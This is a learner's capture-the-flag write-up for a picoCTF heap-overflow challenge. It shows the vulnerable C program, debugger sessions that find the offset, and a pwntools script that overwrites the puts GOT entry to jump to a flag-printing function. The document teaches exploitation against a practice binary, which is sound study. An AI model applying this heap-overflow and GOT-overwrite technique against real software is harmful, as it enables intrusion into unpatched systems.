My first heap problem; didn’t think heap would be so different.
Another rabbithole opened.
heap-havoc: picoCTF 2026 Binary Exploitation
Given
A seemingly harmless program takes two names as arguments, but there’s a catch. By overflowing the input buffer, you can overwrite the saved return address and redirect execution to a hidden part of the binary that prints the flag. You can download the program file here and source code.
Hints:
- Pay attention to how the program allocates your input on the heap.
- objdump -R can help to locate dynamic symbols like puts.`
- Reflect on how overwriting pointers could redirect program execution to hidden functionality.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <time.h>
struct internet {
int priority;
char *name;
void (*callback)();
};
void winner() {
FILE *fp;
char flag[256];
fp = fopen("flag.txt", "r");
if (fp == NULL) {
perror("Error opening flag.txt");
exit(1);
}
if (fgets(flag, sizeof(flag), fp) != NULL) {
printf("FLAG: %s\n", flag);
} else {
printf("Error reading flag\n");
}
fclose(fp);
}
int main(int argc, char **argv) {
struct internet *i1, *i2, *i3;
printf("Enter two names separated by space:\n");
fflush(stdout);
if (argc != 3) {
printf("Usage: ./vuln <name1> <name2>\n", argv[0]);
fflush(stdout);
return 1;
}
i1 = malloc(sizeof(struct internet));
i1->priority = 1;
i1->name = malloc(8);
i1->callback = NULL;
i2 = malloc(sizeof(struct internet));
i2->priority = 2;
i2->name = malloc(8);
i2->callback = NULL;
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
if (i1->callback) i1->callback();
if (i2->callback) i2->callback();
printf("No winners this time, try again!\n");
}
Initial Attempt
In the question, it mentions: “by overflowing the input buffer, you can overwrite the saved return address and redirect execution to a hidden part of the binary that prints the flag.” From this, I thought it would be as simple as a stack overflow: throw a bunch of random characters, check if the instruction pointer is overridden, find the offset, and replace with address of “win.”
// vulnerable strcpy because no bounds on input
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
if (i1->callback) i1->callback();
if (i2->callback) i2->callback();
Here’s what happens if you try that.
./vuln aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac 1234
EAX 0x34333231 ('1234')
EIP 0xf7e2ec62 (__strcpy_ssse3+5922) ◂— mov dword ptr [edx], eax
Basically I entered 300 random characters and then 1234 at the end. What you’ll see is that it crashes but EIP is pointing at an actual instruction meaning it didn’t overwrite the EIP. The EAX was overwritten with a more desired value but I’m not sure what could be done about it if it’s not being used as a return pointer. This output is basically useless and I needed to learn more about the heap to know how I was going to beat this.
The Heap
The problem with my initial attempt is that overwriting the heap like this is not following the heap’s format. I need to exploit a function that would be called and can be overwritten by the heap. So looking at the vulnerable code again:
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
if (i1->callback) i1->callback();
if (i2->callback) i2->callback();
What is the callback() function?
From my understanding, callback is just storing a pointer to a location when a condition occurs for things like event handling.
In this case, it is just a tool for us to get to the flag.
Here is the callback() definition:
struct internet {
int priority;
char *name;
void (*callback)();
};
So I should be caring about the call to callback(), what now?
If I could somehow change the pointer in callback, I can change it to execute winner().
The difference between the heap and stack is that a stack is well defined by registers to keep track of the IP, AX, and other pointers.
The heap is defined in the code and the chunk headers.
Heaps begin with the heap header which tells the system to Memory ALLOCate how many bytes, how big each chunk is, etc…
Knowing this, if the objects in the heap are right next to each other and I can overflow with arguments, then that char *name; value is lookin g quite vulnerable because of this line strcpy(i1->name, argv[1]);.
Unfortunately, we can’t immediately overwrite the callback function to winner() and win.
We must overwrite the vulnerable strcpy(i2->name, argv[2]); to point to a function we can change.
The reason we want to overwrite it to puts() is because RELRO is not enabled.
RELRO, or RELocation Read-Only makes the Global Offset Table (GOT) read only, so we can’t exploit and modify the pointers.
The GOT is used because it’s a predictable target and bypasses the No eXecute (NX) protection.
If we disassemble main(), the last function call after callback() is puts():
0x080494b1 <+325>: je 0x80494bb <main+335>
0x080494b3 <+327>: mov eax,DWORD PTR [ebp-0x20]
0x080494b6 <+330>: mov eax,DWORD PTR [eax+0x8]
0x080494b9 <+333>: call eax
0x080494bb <+335>: sub esp,0xc
0x080494be <+338>: lea eax,[ebx-0x1f74]
0x080494c4 <+344>: push eax
0x080494c5 <+345>: call 0x8049160 <puts@plt>
Looking back at the hints for this problem, we can see “objdump -R can help to locate dynamic symbols like puts.`” Here is that output:
./vuln: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
...
0804c020 R_386_JUMP_SLOT strcpy@GLIBC_2.0
0804c024 R_386_JUMP_SLOT malloc@GLIBC_2.0
0804c028 R_386_JUMP_SLOT puts@GLIBC_2.0
0804c02c R_386_JUMP_SLOT exit@GLIBC_2.0
...
Now that we know the offset, we should get the address of winner() while we’re at it.
pwndbg> i functions
All defined functions:
Non-debugging symbols:
0x08049000 _init
...
0x080492b6 winner
...
Goal
The goal here is to overflow up until we need to callback() and then overwrite the puts() function pointer into winner().
The way to get there is by overflowing up until i1 is overflown and i2->name is reached since the vulnerable strcpy() is called on i2->name;
To get this offset, we must do some hex subtracting.
pwndbg> cyclic 30
aaaabaaacaaadaaaeaaafaaagaaaha
pwndbg> r aaaabaaacaaadaaaeaaafaaagaaaha 123456
Starting program: /home/hyperboly/Programming/CTF/pico2026/heap_havoc/vuln aaaabaaacaaadaaaeaaafaaagaaaha 123456
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Enter two names separated by space:
Program received signal SIGSEGV, Segmentation fault.
__strcpy_ssse3 () at ../sysdeps/i386/i686/multiarch/strcpy-ssse3.S:2927
2927 movl %eax, (%edx)
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────────────[ LAST SIGNAL ]────────────────────────────────────────────────────────────────────
Program received signal SIGSEGV (fault address: 0x61616166).
────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────
EAX 0x34333231 ('1234')
EBX 0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf10 (_DYNAMIC) ◂— 1
ECX 0xffffb2e3 ◂— '123456'
EDX 0x61616166 ('faaa')
EDI 0x80494e0 (__libc_csu_init) ◂— endbr32
ESI 0xffffaee0 ◂— 3
EBP 0xffffaec8 —▸ 0xf7ffcca0 (_rtld_global_ro) ◂— 0
ESP 0xffffae8c —▸ 0x8049494 (main+296) ◂— add esp, 0x10
EIP 0xf7e2ec82 (__strcpy_ssse3+5954) ◂— mov dword ptr [edx], eax
──────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────────────────────────────────
► 0xf7e2ec82 <__strcpy_ssse3+5954> mov dword ptr [edx], eax <Cannot dereference [0x61616166]>
0xf7e2ec84 <__strcpy_ssse3+5956> mov eax, dword ptr [ecx + 3] EAX, [0xffffb2e6]
0xf7e2ec87 <__strcpy_ssse3+5959> mov dword ptr [edx + 3], eax <Cannot dereference [0x61616169]>
0xf7e2ec8a <__strcpy_ssse3+5962> mov eax, edx EAX => 0x61616166 ('faaa')
0xf7e2ec8c <__strcpy_ssse3+5964> ret
pwndbg> cyclic -l faaa
Finding cyclic pattern of 4 bytes: b'faaa' (hex: 0x66616161)
Found at offset 20
Now we know the offset is at 20, let’s run through it to find the difference between the first chunk and second chunk to find how much padding we need.
pwndbg> disassemble main
Dump of assembler code for function main:
...
0x08049474 <+264>: call 0x8049140 <strcpy@plt>
0x08049479 <+269>: add esp,0x10
0x0804947c <+272>: mov eax,DWORD PTR [esi+0x4]
0x0804947f <+275>: add eax,0x8
0x08049482 <+278>: mov edx,DWORD PTR [eax]
0x08049484 <+280>: mov eax,DWORD PTR [ebp-0x20]
0x08049487 <+283>: mov eax,DWORD PTR [eax+0x4]
0x0804948a <+286>: sub esp,0x8
0x0804948d <+289>: push edx
0x0804948e <+290>: push eax
0x0804948f <+291>: call 0x8049140 <strcpy@plt>
0x08049494 <+296>: add esp,0x10
0x08049497 <+299>: mov eax,DWORD PTR [ebp-0x1c]
0x0804949a <+302>: mov eax,DWORD PTR [eax+0x8]
0x0804949d <+305>: test eax,eax
0x0804949f <+307>: je 0x80494a9 <main+317>
...
pwndbg> b *main+296
Breakpoint 3 at 0x8049494
I break right after the second strcpy() call.
pwndbg> r hello world
Starting program: /home/hyperboly/Programming/CTF/pico2026/heap_havoc/vuln hello world
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Enter two names separated by space:
Breakpoint 3, 0x08049494 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────────────[ LAST SIGNAL ]────────────────────────────────────────────────────────────────────
Breakpoint hit at 0x8049494
────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────
EAX 0x804d450 ◂— 'world'
EBX 0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf10 (_DYNAMIC) ◂— 1
ECX 0xffffb2e4 ◂— 'world'
EDX 0x804d450 ◂— 'world'
EDI 0x80494e0 (__libc_csu_init) ◂— endbr32
ESI 0xffffaf00 ◂— 3
EBP 0xffffaee8 —▸ 0xf7ffcca0 (_rtld_global_ro) ◂— 0
ESP 0xffffaeb0 —▸ 0x804d450 ◂— 'world'
EIP 0x8049494 (main+296) ◂— add esp, 0x10
──────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────────────────────────────────
0x8049487 <main+283> mov eax, dword ptr [eax + 4]
0x804948a <main+286> sub esp, 8
0x804948d <main+289> push edx
0x804948e <main+290> push eax
0x804948f <main+291> call strcpy@plt <strcpy@plt>
► 0x8049494 <main+296> add esp, 0x10 ESP => 0xffffaec0 (0xffffaeb0 + 0x10)
...
pwndbg> search hello
Searching for byte: b'hello'
[heap] 0x804d430 'hello'
[stack] 0xffffb2de 'hello'
pwndbg> x/10x 0x804d430
0x804d430: 0x6c6c6568 0x0000006f 0x00000000 0x00000011
0x804d440: 0x00000002 0x0804d450 0x00000000 0x00000011
0x804d450: 0x6c726f77 0x00000064
pwndbg> p/x 0x804d444-0x804d430
$4 = 0x14
Here, I run the program with the arguments hello and world, then search for the location of where “hello” is and how far it is from the pointer to the first argument and calculate their offsets from each other.
This results in 0x14.
This means that we need a padding of 14 bytes to get from i1 to i2 and override the callback() call to puts().
The reason we can’t just overwrite the pointer to the address of winner() is because it would be trying to write your overflown argv[2] into the winner() location.
It’s kind of like overwriting the pointer first, then you write a new location so the program dereferences the old pointer and have it point somewhere else.
Here is what solve.py would look like for this:
from pwn import *
puts_func_location = p32(0x0804c028)
arg1 = b'A'*20 + puts_func_location # Padding 0x14 (20 bytes)
For the second argument we want to give the program where we want it to jump.
So the second argument we just have to put the address of the winner() function.
# win addr
arg2 = p32(0x080492b6)
So altogether:
Solve
#solve.py
from pwn import *
puts_func_location = p32(0x0804c028)
arg1 = b'A'*20 + puts_func_location
# win addr
arg2 = p32(0x080492b6)
target = process(["./vuln", arg1, arg2])
# target = remote('foggy-cliff.picoctf.net', 61144)
# target.sendline(arg1 + b' ' + arg2)
# target.interactive()
echo "flag{fake_flag}" > flag.txt
python3 solve.py
References
The only reason I solved this challenge was because of the nightmare book.
>> Home